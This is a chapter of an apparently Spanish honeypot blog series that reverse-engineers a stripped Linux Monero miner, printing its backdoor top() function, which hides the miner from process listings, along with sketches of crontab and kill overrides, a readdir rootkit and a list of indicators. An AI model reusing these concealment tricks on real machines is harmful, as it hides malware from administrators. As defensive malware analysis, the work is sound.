DIICOT · Capítulo 24
La línea que nadie escribió
En el capítulo anterior quedó un número sin explicar: el backdoor borraba un proceso distinto en cada instalación, y eso no se puede saber de antemano. Abro el minero y aparece la respuesta — una plantilla con el hueco reservado. De paso sale la cartera a la que va el dinero, detrás de un cifrado que da risa.
En el capítulo anterior me quedé con un cabo suelto. El bicho deja plantada una línea en el .bashrc del administrador que hace que top mienta y esconda al minero. Esa línea borra tres cosas, y una de ellas es un número distinto en cada instalación — el del propio proceso del bicho, que nadie puede saber de antemano porque lo reparte cada máquina sobre la marcha.
Algo lo estaba averiguando y pegándolo ahí en cuestión de segundos. Hoy abro el minero con Ghidra y sale qué. De paso sale a quién le paga y por dónde cobra.
01El binario en la mesa
La muestra es la del capítulo anterior: el fichero que se bajó de su servidor y se ejecutó como .16. Un ELF de 64 bits, estático — lleva dentro todas las bibliotecas que necesita, así que corre en cualquier máquina aunque esté vieja o recortada — y stripped, es decir, sin los nombres de sus propias funciones. El equivalente a arrancarle las etiquetas a todas las piezas antes de entregarlo.
Eso importa para lo que viene: cuando Ghidra abre un binario así no hay nombres que leer. Todo lo que aparece a partir de aquí lo he tenido que deducir del propio código, y los nombres que veréis en las capturas se los he puesto yo.
02La línea que nadie escribió
Vamos directos al cabo suelto. Busqué dentro del binario la línea del backdoor esperando no encontrarla — porque si el número cambia en cada máquina, la línea no puede estar guardada tal cual.
Está. Y está con un agujero en medio:
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null
| sed -e '/16/d' -e '/libbase\.sh/d' -e '/[NUL]/d'; } || /usr/bin/top; tput cnorm; }
↑
un byte cero, justo donde debería ir el númeroEse [NUL] es un byte cero: el carácter que en C marca el final de un texto. Para un programa, encontrarse un cero ahí significa «el texto se acaba aquí». Y eso es exactamente lo que es — el final de la primera mitad de la frase. La segunda mitad viene justo detrás, esperando.
O sea: el bicho no lleva la línea del backdoor. Lleva la plantilla, con el hueco ya reservado. Cuando llega el momento se pregunta cuál es su propio número de proceso, lo convierte a texto, lo mete en el agujero y escupe el resultado al .bashrc.

La receta, paso a pasodesensamblado
Son cinco movimientos, en este orden:
CALL getpid // ¿cuál es mi número de proceso?
MOV ESI,EAX // guárdalo
CALL … // conviértelo a texto — por esto hacen falta dos mitades
LEA RSI,[MITAD_A] // "top() { trap 'tput cnorm' … -e '/"
LEA RDX,[MITAD_B] // "/d'; } || /usr/bin/top; tput cnorm; }"
// resultado = MITAD_A + número + MITAD_BEl getpid del principio es lo que lo cierra todo: el número que borra el filtro no lo eligió nadie — se lo pregunta el bicho a sí mismo, justo antes de escribir la línea.
Y ahí está la explicación de los dos números del capítulo anterior. En una visita el proceso era el 7704 y en la otra el 2845; la plantilla es la misma, letra por letra, y lo único que cambió fue lo que se metió en el hueco.
03Y no es un comando: son tres
Ya que estaba dentro, busqué si top era el único comando que pensaban reescribir. No lo es. Hay otros dos, y son mejores.
El primero es crontab, el comando con el que se gestionan las tareas programadas — es decir, el sitio donde un administrador miraría para ver qué se ejecuta solo en su máquina:
crontab() {
if [ "$1" = -l ]; then # «lístame las tareas» → le oculta las suyas
elif [ "$1" = -e ]; then # «déjame editarlas» → se las repega al guardar
elif [ "$1" = -r ]; then # «bórralas todas» → borra las tuyas y deja las suyas
fi; }Las tres ramas merecen leerse. Con -l te esconde sus entradas, que es lo esperable. Con -e te abre el editor con un fichero sin sus líneas, te deja tocar lo que quieras… y se las vuelve a pegar cuando guardas. Y la tercera es la buena: crontab -r significa «bórrame todas las tareas», y lo que hace es borrar las tuyas y reinstalar las suyas. El gesto de limpieza del administrador se convierte en el gesto de limpieza del atacante.
El segundo es kill, el comando para matar procesos, y es de una simplicidad desarmante: recorre lo que le pasas, tira a la basura cualquier -9 y llama al kill de verdad con lo que queda.
En Linux, kill -9 es la orden tajante: mata el proceso sin que este pueda negarse ni despedirse. Escribes kill -9 contra su minero y lo que sale por el otro lado es un kill a secas — una señal educada, que su proceso puede atrapar e ignorar. Desde esa shell no puedes matar nada a la fuerza, y el sistema no te avisa: el comando responde que sí, y el proceso sigue vivo.
04Lo que lleva en el equipaje
Este binario no es solo un minero: es un minero que trae dentro su propia mudanza. Rebuscando aparecen las piezas que en mi máquina no llegaron a desplegarse.
Lo primero, otro programa entero escondido dentro. Un binario puede llevar otro empotrado como si fuera un dato más y escupirlo a disco cuando le conviene. Aquí hay dos, y uno de ellos es del tipo que se carga dentro de otros programas — una biblioteca. Ese es el rootkit de verdad, el que el capítulo anterior encontró a medio instalar: el /etc/ld.so.preload estaba puesto, pero vacío. La biblioteca que le faltaba viajaba aquí.
La saqué para ver qué sabe hacer, y es más modesta de lo que uno espera de un rootkit: engancha una sola función, la que lista el contenido de un directorio. Se instala como /usr/local/lib/libcommon.so y, una vez cargada en cada programa que arranca, cuando alguien pide el listado de /proc —que es de donde Linux saca la lista de lo que está corriendo— ella le quita el que se llama 16 antes de devolvérselo.
Después, las piezas de las que el backdoor ya hablaba y que yo no había podido ver:
libbase.sh # el componente de enganche de shell
system-helper # la persistencia por systemd del capítulo anterior
/var/tmp/snap # una de las cargas que deja en disco
.X0-lock # otra, disfrazada de fichero del servidor gráfico
__TTY_GUARD_OK__ # una autocomprobación (ver abajo)Aquel libbase.sh que el filtro del top tapaba y que en la máquina no aparecía por ninguna parte: es suyo, y viaja aquí dentro. No es de otra víctima ni un despiste — está en la plantilla porque lo pone el kit, aunque en mi máquina no llegara a escribirse.
Y los nombres de las cargas dicen bastante: /var/tmp/snap suena al gestor de paquetes de Ubuntu, .X0-lock al fichero de bloqueo del servidor gráfico. Son nombres que un administrador ve en una lista y pasa de largo.
05Seguir el dinero
Un minero tiene que saber dos cosas: a qué servidor conectarse y a qué cartera abonar lo que gane. Eso va dentro del binario, y es lo que más interesa — porque identifica al operador a través de todas sus víctimas, no solo de la mía.
La llevan cifrada. Pero con el candado más barato que existe: un XOR de un byte.
Así que las probé todas, buscando algo con forma de cartera de Monero — 95 caracteres, empezando por un 4 o un 8. Y el resultado no es lo que uno espera:
Con la clave buena — resulta ser 0x5A — el bloque sale entero:
# la cartera de Monero
89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam
# y las tres direcciones, seguidas
169.58.248.162 # el proxy propio
5.189.149.171 # el servidor de reparto — el mismo del capítulo anterior
project0.cc # el dominio
Y un detalle que me gusta mucho: en el texto descifrado los campos aparecen separados por letras Z. No es casualidad ni parte del dato — esas Z son los bytes cero. El relleno que separa una cadena de otra, al pasar por el XOR con 0x5A, se convierte todo en Z. Los separadores se delatan solos: no hay que adivinar dónde corta cada cadena, el propio cifrado te lo dibuja.
Por qué el relleno delata la clavecriptografía de juguete
La propiedad que lo explica es que cero mezclado con la clave da la clave. Como los bloques de configuración van rellenos de ceros para cuadrar tamaños, en el binario cifrado esos ceros aparecen convertidos, todos, en el mismo carácter — que es la clave en persona. Si ves un byte repitiéndose en bloques largos dentro de una zona por lo demás ilegible, ahí la tienes. Ni hace falta barrer.
La jerarquía de la lista cuenta el negocio: primero el proxy propio, después el servidor de reparto y el dominio, y solo al final siete pools públicos de supportxmr.com — que esos sí van en claro, sin cifrar. El operador mina contra lo suyo; el pool público es el paracaídas. Y también dice qué les importa esconder: lo que cifran es lo que los identifica; lo que cualquiera podría usar, no.
Y de ponerlas en fila sí sale algo. Las ordené por fecha de subida y miré, en cada una, cómo guardaban la cartera y contra qué minaban:
julio cartera EN CLARO · pool público directo
11 agosto (loader, sin cartera) · todavía sin proxy propio
30 agosto (loader, sin cartera) · ← aparece el proxy propio
septiembre cartera cifrada · proxy propio · pool público de reservaEn julio minaban con la cartera a la vista contra un pool público. Para septiembre habían pasado a cartera cifrada contra un proxy propio, con el pool público degradado a red de seguridad — que es exactamente la jerarquía que acabo de leer en la config.
Y el cambio se puede fechar, aunque no por donde parecería. Las dos muestras de agosto no son mineros: son loaders —la pieza que instala— y no llevan cartera ninguna, así que por ahí no hay nada que comparar. Lo que sí llevan dentro es la dirección del proxy, y ahí está el corte: en la del 11 de agosto no aparece, y en la del 30 ya está. La bisagra cae entre esas dos fechas, y quien la marca es el proxy, no la cartera.
Cuidado con lo que eso significa y con lo que no. Lo que no se solapa es lo que llevan configurado los binarios: la cartera vieja aparece solo en las muestras de julio y siempre en claro; la nueva, solo en las de septiembre y siempre tapada. Eso es un dato de muestras, y hasta ahí llega. Qué hicieron las dos carteras de verdad —cuánto han cobrado, desde cuándo y si siguen cobrando— no está dentro de ningún binario, así que este capítulo no lo resuelve. Pero tampoco es un callejón: se puede averiguar desde fuera, y a eso le dedico la entrega siguiente entera.
06El 443 que no cifra nada
El proxy propio es 169.58.248.162, y escucha en el puerto 443. Ese es el puerto de HTTPS: el de las webs seguras, el que está abierto en todos los cortafuegos del mundo porque si lo cierras no se puede navegar.
Pero en la configuración el cifrado va desactivado. O sea: hablan el protocolo de minado en claro por el puerto de HTTPS. No lo usan para cifrar — lo usan para parecer tráfico web normal y pasar desapercibidos.
Y ahí hay una regla de detección que vale para cualquiera: tráfico saliente al 443 que nunca negocia un certificado. Una conexión HTTPS de verdad empieza siempre con un saludo en el que las dos partes acuerdan el cifrado. Si algo sale por el 443 y se salta ese paso, no es una web: es alguien escondiéndose detrás del número de puerto.
Y hay un patrón en dónde vive todo esto. El servidor de reparto, este proxy de cobro y la dirección desde la que entraron las dos últimas visitas están los tres en el mismo proveedor — Contabo, AS51167, un hosting barato y enorme. Las direcciones que solo llaman a la puerta probando contraseñas, en cambio, van rotando de proveedor en proveedor. Conviene decirlo con cuidado, porque el proveedor es legítimo y no tiene nada que ver: el dato no es Contabo, es que ellos lo eligen. Y la lectura es que las máquinas desde las que se ataca son desechables; las que hay que pagar y mantener —repartir el binario y cobrar el minado— las tienen juntas y quietas.
07Indicadores (IOCs)
Los de la intrusión están en el capítulo 23. Estos son los de dentro. La cartera va entera: el único al que apunta es al operador.
| Tipo | Valor |
|---|---|
| Cartera Monero | 89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam |
| Proxy de minado | 169.58.248.162:443 — sin TLS · indicador extraído, no conexión observada |
| Reparto y dominio | 5.189.149.171 · project0.cc |
| Pools de reserva | pool-{fr,phx,nyc,hk,sg,aus,ca}.supportxmr.com:5555 — los siete, en claro |
| Cifrado de config | XOR de un byte, clave 0x5A — barre las 256, puede cambiar entre componentes |
| Plantilla del backdoor | cadena partida por un byte cero donde se inserta el número de proceso en ejecución |
| Comandos falsos preparados | top() · crontab() · kill() — los tres, dentro del binario |
| Componentes embebidos | libbase.sh · system-helper · /usr/local/lib/libcommon.so (rootkit: engancha readdir) |
| Cargas en disco | /var/tmp/snap · .X0-lock |
| Autocomprobación | __TTY_GUARD_OK__ — lanzado con y sin terminal tras escribir el enganche |
| Firma de red | tráfico saliente al 443 que nunca negocia TLS |
| SHA-256 (minero) | a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 |
Continuará — el binario ya no tiene más que darme. Me deja una cartera de noventa y cinco caracteres y una pregunta que él no puede contestar: ¿cuánto lleva ganado esto? Monero está hecho para que no se pueda mirar un saldo, así que la respuesta no va a salir de la cadena. Está en otra parte, y llegar hasta ella no exige tocar nada suyo. Tiro de ese hilo en el Capítulo 25. 🍯
Comentarios